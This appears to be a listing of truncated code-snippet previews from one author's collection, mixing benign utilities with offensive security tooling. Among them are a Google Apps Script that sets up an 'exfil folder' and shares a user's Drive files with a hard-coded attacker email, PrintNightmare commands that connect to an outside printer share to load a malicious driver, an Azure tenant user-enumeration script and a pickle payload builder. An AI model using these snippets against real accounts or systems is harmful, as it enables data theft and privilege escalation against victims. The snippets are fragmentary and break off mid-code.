ahhh

(() => {
  if (window.__PAGE_TAMER__) {
    console.warn("[PageTamer] Already installed.");
    return;
  }

  // Bind native Window methods immediately so their receiver can never
  // accidentally become `originals`, undefined, a proxy object, etc.
  const originals = {
    open: window.open.bind(window),

ahhh

$seen = @{}
$dnsCache = @{}
$geoCache = @{}

function Resolve-Name($ip) {
    if ($dnsCache.ContainsKey($ip)) { 
        return $dnsCache[$ip] 
    }    
	try {
        $name = (Resolve-DnsName $ip -ErrorAction Stop).NameHost

ahhh

#!/usr/bin/env python3
import sys
import requests
from typing import Any, Dict, List, Optional

API_URL = "https://api.ad.mctf.io/status"
TEAM_TOKEN = ""

ACTIONS = ["check", "put", "get_last", "get_random"]

ahhh

import argparse
import base64
import pickle
import ast
import sys


def pickle_data(input_data: str) -> str:
    """
    Takes a Python literal string, converts to object,

ahhh

#!/usr/bin/env bash
set -euo pipefail

domain="${1:?usage: $0 domain.com [username]}"
user="${2:-}"
# If username is blank or unset, default to "admin"
[[ -z "$user" ]] && user="admin"

# Grab Results
url="https://login.microsoftonline.com/getuserrealm.srf?login=${user}@${domain}&xml=1"

ahhh

# Define the task folder path 
$taskFolder = "C:\Windows\System32\Tasks\" 

# Get all tasks in that folder and its subfolders
$tasks = Get-ScheduledTask | Where-Object { $_.TaskPath -like "\*" }
if ($tasks.Count -eq 0) {
    Write-Warning "No tasks found. Try running PowerShell as Administrator."
}

foreach ($task in $tasks) {

ahhh

function driveSearch() {
  // Setup the exfil folder
  var user = Session.getActiveUser().getEmail();
  var folder = DriveApp.createFolder(user);
  var attackerEmail = "ahhh.db@gmail.com";
  folder.addViewer(attackerEmail);
  
  // Search Drive
  var files = DriveApp.searchFiles('hidden = false');
  // Iterate through files in Drive

ahhh

#!env python
import jsonlines
import argparse
import csv

def parseArgs():
    parser = argparse.ArgumentParser(description='Convert CSV to JSONL')
    parser.add_argument('file', type=str, help='csv file to read')
    args = parser.parse_args()
    print("Processing CSV File: " + args.file)

ahhh

net use \\printnightmare.gentilkiwi.com\ipc$ /user:gentilguest password
rundll32 printui.dll,PrintUIEntry /in /n"\\printnightmare.gentilkiwi.com\Kiwi Legit Printer"

ahhh

function Invoke-PasswordRoll
{
<#
.SYNOPSIS
This script can be used to set the local account passwords on remote machines to random passwords. The username/password/server combination will be saved in a CSV file.
The account passwords stored in the CSV file can be encrypted using a password of the administrators choosing to ensure clear-text account passwords aren't written to disk.
The encrypted passwords can be decrypted using another function in this file: ConvertTo-CleartextPassword
Function: Invoke-PasswordRoll
Author: Microsoft
Version: 1.0